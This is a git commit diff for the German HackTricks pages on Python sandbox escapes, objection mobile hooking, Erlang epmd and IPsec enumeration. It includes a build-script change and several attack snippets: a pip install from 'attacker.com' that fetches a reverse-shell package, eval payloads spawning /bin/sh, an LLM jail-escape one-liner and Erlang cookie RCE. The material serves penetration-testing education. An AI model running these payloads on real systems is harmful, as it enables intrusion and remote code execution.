Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-01-05 16:13:20 +00:00
parent ab49e3c604
commit 4070714b4f
18 changed files with 375 additions and 317 deletions

View File

@ -1,4 +1,5 @@
import json
import os
import sys
import re
import logging
@ -68,6 +69,33 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Dies sind einige Tricks, um Python-Sandbox-Schutzmaßnahmen zu umgehen und beliebige Befehle auszuführen.
Dies sind einige Tricks, um die Schutzmaßnahmen von Python-Sandboxes zu umgehen und beliebige Befehle auszuführen.
## Command Execution Libraries
@ -41,8 +41,7 @@ system('ls')
```
Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **Dateien** innerhalb der Python-Sandbox zu **lesen** und um **Code** zu **schreiben**, den du **ausführen** könntest, um die Sandbox zu **umgehen**.
> [!CAUTION]
> Die **Python2 input()** Funktion erlaubt das Ausführen von Python-Code, bevor das Programm abstürzt.
> [!CAUTION] > Die **Python2 input()** Funktion erlaubt das Ausführen von Python-Code, bevor das Programm abstürzt.
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
@ -78,9 +77,11 @@ Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges P
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Sie können das Paket zum Erstellen der Reverse-Shell hier herunterladen. Bitte beachten Sie, dass Sie es **dekomprimieren, die `setup.py` ändern und Ihre IP für die Reverse-Shell eingeben** sollten:
Sie können das Paket zum Erstellen der Reverse-Shell hier herunterladen. Bitte beachten Sie, dass Sie es **dekomprimieren, die `setup.py` ändern und Ihre IP für die Reverse-Shell eingen** sollten:
{% file src="../../../images/Reverse.tar (1).gz" %}
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell erstellt, damit der Rest der Installation fehlschlägt, wenn Sie die Reverse-Shell verlassen, sodass Sie **keine zusätzlichen Python-Pakete auf dem Server installiert lassen**, wenn Sie gehen.
@ -88,9 +89,9 @@ Sie können das Paket zum Erstellen der Reverse-Shell hier herunterladen. Bitte
## Eval-ing python code
> [!WARNING]
> Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator)
> Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator).
Wenn bestimmte Zeichen verboten sind, können Sie die **hex/octal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
Wenn bestimmte Zeichen verboten sind, können Sie die **hex/octal/B64** Darstellung verwenden, um die Einschränkung zu **umgehen**:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,9 +135,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassing protections through encodings (UTF-7)
## Umgehung von Schutzmaßnahmen durch Kodierungen (UTF-7)
In [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen Python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen:
In [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UTF-7 verwendet, um beliebigen Python-Code innerhalb einer scheinbaren Sandbox zu laden und auszuführen:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -404,7 +405,7 @@ class_obj.__init__.__globals__
## Entdeckung arbiträrer Ausführung
Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken kann, die geladen werden, und zuverlässigere Exploits vorschlagen.
Hier möchte ich erklären, wie man leicht **gefährlichere Funktionen** entdecken kann, die geladen sind, und zuverlässigere Exploits vorschlagen.
#### Zugriff auf Unterklassen mit Bypässen
@ -661,7 +662,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Wenn Sie eine **Zeichenkette** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen.
Wenn Sie eine **Zeichenfolge** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -726,22 +727,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### LLM Jails bypass
### LLM Jails umgehen
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
Von [hier](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Von Format zu RCE Bibliotheken laden
Laut der [**TypeMonkey-Challenge aus diesem Bericht**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Bibliotheken von der Festplatte zu laden, indem man die Format-String-Schwachstelle in Python ausnutzt.
Laut der [**TypeMonkey Herausforderung aus diesem Bericht**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Bibliotheken von der Festplatte zu laden, indem man die Format-String-Schwachstelle in Python ausnutzt.
Zur Erinnerung: Jedes Mal, wenn eine Aktion in Python ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel wird `2*3` **`(2).mul(3)`** ausführen oder **`{'a':'b'}['a']`** wird **`{'a':'b'}.__getitem__('a')`** sein.
Es gibt mehr davon im Abschnitt [**Python-Ausführung ohne Aufrufe**](#python-execution-without-calls).
Eine Python-Format-String-Schwachstelle erlaubt es nicht, Funktionen auszuführen (es erlaubt nicht die Verwendung von Klammern), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)` zu erhalten.\
Es ist jedoch möglich, `[]` zu verwenden. Wenn also eine gängige Python-Bibliothek eine **`__getitem__`** oder **`__getattr__`** Methode hat, die beliebigen Code ausführt, ist es möglich, diese auszunutzen, um RCE zu erhalten.
Es ist jedoch möglich, `[]` zu verwenden. Daher, wenn eine gängige Python-Bibliothek eine **`__getitem__`** oder **`__getattr__`** Methode hat, die beliebigen Code ausführt, ist es möglich, diese auszunutzen, um RCE zu erhalten.
Auf der Suche nach einem solchen Gadget in Python schlägt der Bericht diese [**Github-Suchanfrage**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [eine](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Auf der Suche nach einem solchen Gadget in Python schlägt der Bericht diese [**Github-Suchanfrage**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Wo er dieses [eine](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gefunden hat:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -796,7 +797,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` und `func_globals` (Gleich) Erhält die globale Umgebung. Im Beispiel sehen Sie einige importierte Module, einige globale Variablen und deren deklarierten Inhalt:
`__globals__` und `func_globals` (gleich) Erhält die globale Umgebung. Im Beispiel sehen Sie einige importierte Module, einige globale Variablen und deren deklarierten Inhalt:
```python
get_flag.func_globals
get_flag.__globals__
@ -809,7 +810,7 @@ CustomClassObject.__class__.__init__.__globals__
### **Zugriff auf den Funktionscode**
**`__code__`** und `func_code`: Sie können dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion zu **erhalten**.
**`__code__`** und `func_code`: Sie können **auf** dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion **zu erhalten**.
```python
# In our current example
get_flag.__code__
@ -921,7 +922,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Kompilieren von Python
Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion, die Sie nicht ausführen können, dumpen** können, aber Sie **müssen** sie **ausführen**.\
Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion dumpen können, die Sie nicht ausführen können**, aber Sie **müssen** sie **ausführen**.\
Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen der Disassemblierung **wissen Sie nicht, wie Sie das Flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
```python
def get_flag(some_input):
@ -937,7 +938,7 @@ return "Nope"
```
### Erstellen des Code-Objekts
Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen:
Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen, die geleakt wurde:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -968,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Rekreation einer geleakten Funktion
> [!WARNING]
> Im folgenden Beispiel werden wir alle Daten nehmen, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt zu rekreieren. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken** müssen.
> Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt zu rekreieren, entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken müssen**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -981,10 +982,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du sehen, **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
In den vorherigen Beispielen zu Beginn dieses Beitrags sehen Sie **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\
Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion in der CTF nicht haben).
Zum Beispiel, lass uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
Zum Beispiel, lassen Sie uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
```python
#Locally
def read():
@ -1033,7 +1034,7 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann
### Assert
Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeglichen Code, der vom Wert von **debug** abhängt.\
Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der von dem Wert **debug** abhängt.\
Daher sind Überprüfungen wie
```python
def check_permission(super_user):
@ -1054,5 +1055,4 @@ wird umgangen
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Einführung**
**objection - Runtime Mobile Exploration**
[**Objection**](https://github.com/sensepost/objection) ist ein Toolkit zur runtime mobilen Erkundung, unterstützt von [Frida](https://www.frida.re). Es wurde mit dem Ziel entwickelt, mobile Anwendungen und deren Sicherheitslage zu bewerten, ohne dass ein jailbreak- oder gerootetes mobiles Gerät erforderlich ist.
[**Objection**](https://github.com/sensepost/objection) ist ein Toolkit zur Runtime-Mobil-Exploration, das von [Frida](https://www.frida.re) unterstützt wird. Es wurde entwickelt, um die Sicherheit von mobilen Anwendungen zu bewerten, ohne dass ein jailbreak- oder gerootetes mobiles Gerät erforderlich ist.
**Hinweis:** Dies ist keine Form von Jailbreak / Root-Bypass. Durch die Verwendung von `objection` sind Sie weiterhin durch alle Einschränkungen des jeweiligen Sandboxes, mit dem Sie konfrontiert sind, eingeschränkt.
**Hinweis:** Dies ist keine Form von Jailbreak-/Root-Umgehung. Durch die Verwendung von `objection` sind Sie weiterhin durch alle Einschränkungen des jeweiligen Sandboxes, mit dem Sie konfrontiert sind, eingeschränkt.
### Zusammenfassung
@ -20,7 +18,9 @@ Das **Ziel** von **objection** ist es, dem Benutzer zu ermöglichen, die **Haupt
Für dieses Tutorial werde ich die APK verwenden, die Sie hier herunterladen können:
{% file src="../../../images/app-release.zip" %}
{{#file}}
app-release.zip
{{#endfile}}
Oder aus dem [originalen Repository](https://github.com/asvid/FridaApp) (app-release.apk herunterladen)
@ -39,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore
```
### Grundlegende Aktionen
Nicht alle möglichen Befehle von objections werden in diesem Tutorial aufgelistet, nur die, die ich als nützlicher empfunden habe.
Nicht alle möglichen Befehle von Objection werden in diesem Tutorial aufgelistet, nur die, die ich als nützlicher empfunden habe.
#### Umgebung
@ -84,9 +84,9 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
```
### Statische Analyse dynamisch gemacht
In einer echten Anwendung sollten wir alle Informationen, die in diesem Teil entdeckt wurden, dank **statischer Analyse** kennen, bevor wir objection verwenden. Trotzdem kannst du auf diese Weise vielleicht **etwas Neues** sehen, da du hier nur eine vollständige Liste von Klassen, Methoden und exportierten Objekten haben wirst.
In einer echten Anwendung sollten wir alle Informationen, die in diesem Teil entdeckt wurden, kennen, bevor wir objection verwenden, dank **statischer Analyse**. Auf diese Weise können Sie jedoch vielleicht **etwas Neues** sehen, da Sie hier nur eine vollständige Liste von Klassen, Methoden und exportierten Objekten haben.
Dies ist auch nützlich, wenn du aus irgendeinem Grund **keinen lesbaren Quellcode** der App erhalten kannst.
Dies ist auch nützlich, wenn Sie aus irgendeinem Grund **nicht in der Lage sind, lesbaren Quellcode** der App zu erhalten.
#### Aktivitäten, Empfänger und Dienste auflisten
```bash
@ -97,7 +97,7 @@ android hooking list activities
android hooking list services
android hooking list receivers
```
Frida wird einen Fehler ausgeben, wenn nichts gefunden wird.
Frida wird einen Fehler auslösen, wenn keine gefunden wird.
#### Aktuelle Aktivität abrufen
```bash
@ -115,7 +115,7 @@ android hooking search classes asvid.github.io.fridaapp
#### Suchmethoden einer Klasse
Jetzt extrahieren wir die Methoden innerhalb der Klasse _MainActivity:_
Jetzt lassen Sie uns die Methoden innerhalb der Klasse _MainActivity:_ extrahieren.
```bash
android hooking search methods asvid.github.io.fridaapp MainActivity
```
@ -135,13 +135,13 @@ Sie können auch alle Klassen auflisten, die in der aktuellen Anwendung geladen
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
Das ist sehr nützlich, wenn Sie **die Methode einer Klasse hooken möchten und nur den Namen der Klasse kennen**. Sie könnten diese Funktion verwenden, um **zu suchen, welches Modul die Klasse besitzt** und dann ihre Methode zu hooken.
Dies ist sehr nützlich, wenn Sie **die Methode einer Klasse hooken möchten und nur den Namen der Klasse kennen**. Sie könnten diese Funktion verwenden, um **zu suchen, welches Modul die Klasse besitzt** und dann ihre Methode zu hooken.
### Hooking ist einfach
#### Eine Methode hooken (überwachen)
Aus dem [Quellcode](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) der Anwendung wissen wir, dass die **Funktion** _**sum()**_ **von** _**MainActivity**_ **jede Sekunde** ausgeführt wird. Lassen Sie uns versuchen, **alle möglichen Informationen** jedes Mal zu **dumpen**, wenn die Funktion aufgerufen wird (Argumente, Rückgabewert und Backtrace):
Aus dem [Quellcode](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) der Anwendung wissen wir, dass die **Funktion** _**sum()**_ **von** _**MainActivity**_ **jede Sekunde** ausgeführt wird. Lassen Sie uns versuchen, **alle möglichen Informationen** jedes Mal zu dumpen, wenn die Funktion aufgerufen wird (Argumente, Rückgabewert und Backtrace):
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -163,13 +163,13 @@ Aus dem Quellcode können Sie sehen, dass die Funktion _checkPin_ einen _String_
![](<../../../images/image (883).png>)
Jetzt, wenn Sie etwas in das Textfeld für den PIN-Code eingeben, werden Sie sehen, dass alles gültig ist:
Jetzt, wenn Sie irgendetwas in das Textfeld für den PIN-Code eingeben, werden Sie sehen, dass alles gültig ist:
![](<../../../images/image (228).png>)
### Klasseninstanzen
Suchen und drucken Sie **lebende Instanzen einer bestimmten Java-Klasse**, die durch einen vollqualifizierten Klassennamen angegeben ist. Das Ergebnis ist der Versuch, einen String-Wert für eine entdeckte Objection zu erhalten, die typischerweise **Eigenschaftswerte für das Objekt enthalten würde**.
Suchen und drucken Sie **lebende Instanzen einer bestimmten Java-Klasse**, die durch einen vollqualifizierten Klassennamen angegeben ist. Das Ergebnis ist der Versuch, einen String-Wert für eine entdeckte Objection zu erhalten, der typischerweise **Eigenschaftswerte für das Objekt** enthalten würde.
```
android heap print_instances <class>
```
@ -219,12 +219,10 @@ Sie können den Befehl `sqlite` verwenden, um mit SQLite-Datenbanken zu interagi
```bash
exit
```
## Was ich in Objection vermisse
## Was mir in Objection fehlt
- Die Hooking-Methoden bringen manchmal die Anwendung zum Absturz (das liegt auch an Frida).
- Sie können die Instanzen der Klassen nicht verwenden, um Funktionen der Instanz aufzurufen. Und Sie können keine neuen Instanzen von Klassen erstellen und diese verwenden, um Funktionen aufzurufen.
- Du kannst die Instanzen der Klassen nicht verwenden, um Funktionen der Instanz aufzurufen. Und du kannst keine neuen Instanzen von Klassen erstellen und sie verwenden, um Funktionen aufzurufen.
- Es gibt keinen Shortcut (wie den für sslpinnin), um alle gängigen Krypto-Methoden, die von der Anwendung verwendet werden, zu hooken, um verschlüsselte Texte, Klartexte, Schlüssel, IVs und verwendete Algorithmen zu sehen.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# Grundlegende Informationen
Der **Erlang Port Mapper Daemon (epmd)** fungiert als Koordinator für verteilte Erlang-Instanzen. Er ist verantwortlich für die Zuordnung von symbolischen Knotennamen zu Maschinenadressen und stellt im Wesentlichen sicher, dass jeder Knotename mit einer bestimmten Adresse verknüpft ist. Diese Rolle von **epmd** ist entscheidend für die nahtlose Interaktion und Kommunikation zwischen verschiedenen Erlang-Knoten in einem Netzwerk.
Der **Erlang Port Mapper Daemon (epmd)** dient als Koordinator für verteilte Erlang-Instanzen. Er ist verantwortlich für die Zuordnung von symbolischen Knotennamen zu Maschinenadressen und stellt im Wesentlichen sicher, dass jeder Knotename mit einer bestimmten Adresse verknüpft ist. Diese Rolle von **epmd** ist entscheidend für die nahtlose Interaktion und Kommunikation zwischen verschiedenen Erlang-Knoten in einem Netzwerk.
**Standardport**: 4369
```
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
## Remote Connection
Wenn Sie **das Authentifizierungscookie** leaken können, sind Sie in der Lage, Code auf dem Host auszuführen. In der Regel befindet sich dieses Cookie in `~/.erlang.cookie` und wird von Erlang beim ersten Start generiert. Wenn es nicht manuell geändert oder gesetzt wird, handelt es sich um eine zufällige Zeichenfolge \[A:Z] mit einer Länge von 20 Zeichen.
Wenn Sie **das Authentifizierungscookie** **leaken**, können Sie Code auf dem Host ausführen. Normalerweise befindet sich dieses Cookie in `~/.erlang.cookie` und wird von Erlang beim ersten Start generiert. Wenn es nicht manuell geändert oder gesetzt wurde, ist es eine zufällige Zeichenfolge \[A:Z] mit einer Länge von 20 Zeichen.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -57,11 +57,13 @@ At last, we can start an erlang shell on the remote system.
Mehr Informationen unter [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Der Autor teilt auch ein Programm, um das Cookie zu bruteforcen:
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## Lokale Verbindung
In diesem Fall werden wir CouchDB ausnutzen, um lokale Berechtigungen zu eskalieren:
In diesem Fall werden wir CouchDB ausnutzen, um die Berechtigungen lokal zu eskalieren:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).

View File

@ -4,12 +4,12 @@
## Grundlegende Informationen
**IPsec** wird weithin als die Haupttechnologie zur Sicherung von Kommunikationen zwischen Netzwerken (LAN-zu-LAN) und von entfernten Benutzern zum Netzwerkgateway (Fernzugriff) anerkannt und dient als Rückgrat für Unternehmens-VPN-Lösungen.
**IPsec** wird weithin als die Haupttechnologie zur Sicherung der Kommunikation zwischen Netzwerken (LAN-zu-LAN) und von entfernten Benutzern zum Netzwerkgateway (Fernzugriff) anerkannt und dient als Rückgrat für Unternehmens-VPN-Lösungen.
Die Einrichtung einer **Sicherheitsassoziation (SA)** zwischen zwei Punkten wird von **IKE** verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll, das für die Authentifizierung und den Schlüsselaustausch entwickelt wurde. Dieser Prozess verläuft in mehreren Phasen:
- **Phase 1:** Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus verwendet wird, der drei Nachrichtenpaare umfasst, oder **aggressiver Modus**.
- **Phase 1.5:** Obwohl nicht obligatorisch, überprüft diese Phase, bekannt als die Erweiterte Authentifizierungsphase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und ein Passwort erforderlich sind.
- **Phase 1.5:** Obwohl nicht obligatorisch, verifiziert diese Phase, bekannt als die Erweiterte Authentifizierungsphase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und ein Passwort erforderlich sind.
- **Phase 2:** Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit **ESP** und **AH** gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um **Perfect Forward Secrecy (PFS)** zu gewährleisten und die Sicherheit zu erhöhen.
**Standardport:** 500/udp
@ -26,9 +26,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Eine gültige Transformation finden**
Die IPSec-Konfiguration kann so vorbereitet werden, dass sie nur eine oder einige wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. **Jede Transformation** enthält eine Anzahl von Attributen wie DES oder 3DES als **Verschlüsselungsalgorithmus**, SHA oder MD5 als **Integritätsalgorithmus**, einen Pre-Shared Key als **Authentifizierungstyp**, Diffie-Hellman 1 oder 2 als **Schlüsselverteilungsalgorithmus** und 28800 Sekunden als **Lebensdauer**.
Die IPSec-Konfiguration kann so vorbereitet werden, dass sie nur eine oder wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. **Jede Transformation** enthält eine Anzahl von Attributen wie DES oder 3DES als **Verschlüsselungsalgorithmus**, SHA oder MD5 als **Integritätsalgorithmus**, einen Pre-Shared Key als **Authentifizierungstyp**, Diffie-Hellman 1 oder 2 als **Schlüsselverteilungsalgorithmus** und 28800 Sekunden als **Lebensdauer**.
Das erste, was Sie tun müssen, ist, eine **gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen Vorschlag mit **acht Transformationen darin**.
Das erste, was Sie tun müssen, ist, **eine gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen Vorschlag mit **acht Transformationen darin**.
Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten:
```
@ -41,12 +41,12 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens **AUTH** mit dem Wert **PSK**. Das bedeutet, dass das VPN mit einem gemeinsamen Schlüssel konfiguriert ist (und das ist wirklich gut für einen Pentester).\
Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens **AUTH** mit dem Wert **PSK**. Das bedeutet, dass das VPN mit einem Pre-Shared Key konfiguriert ist (und das ist wirklich gut für einen Pentester).\
**Der Wert der letzten Zeile ist ebenfalls sehr wichtig:**
- _0 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:_ Das bedeutet, dass das Ziel **kein IPsec-Gateway** ist.
- _**1 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, IKE-Verhandlungen durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt).
- _0 zurückgegebene Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).
- _**1 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, eine IKE-Verhandlung durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt).
- _0 zurückgegebene Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollte eine weitere Analyse und ein überarbeiteter Vorschlag versucht werden).
In diesem Fall haben wir bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie **ein wenig brute-forcen, um eine gültige Transformation zu finden:**
@ -58,7 +58,7 @@ Und dann jede einzelne mit ike-scan brute-forcen (das kann mehrere Minuten dauer
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Wenn der Brute-Force-Angriff nicht funktioniert hat, könnte der Server möglicherweise ohne Handshakes sogar auf gültige Transformationsanfragen reagieren. Dann könntest du denselben Brute-Force-Angriff versuchen, aber im aggressiven Modus:
Wenn der Brute-Force-Angriff nicht funktioniert hat, könnte es sein, dass der Server auch auf gültige Transformationsanfragen ohne Handshakes reagiert. Dann könntest du denselben Brute-Force-Angriff versuchen, aber im aggressiven Modus:
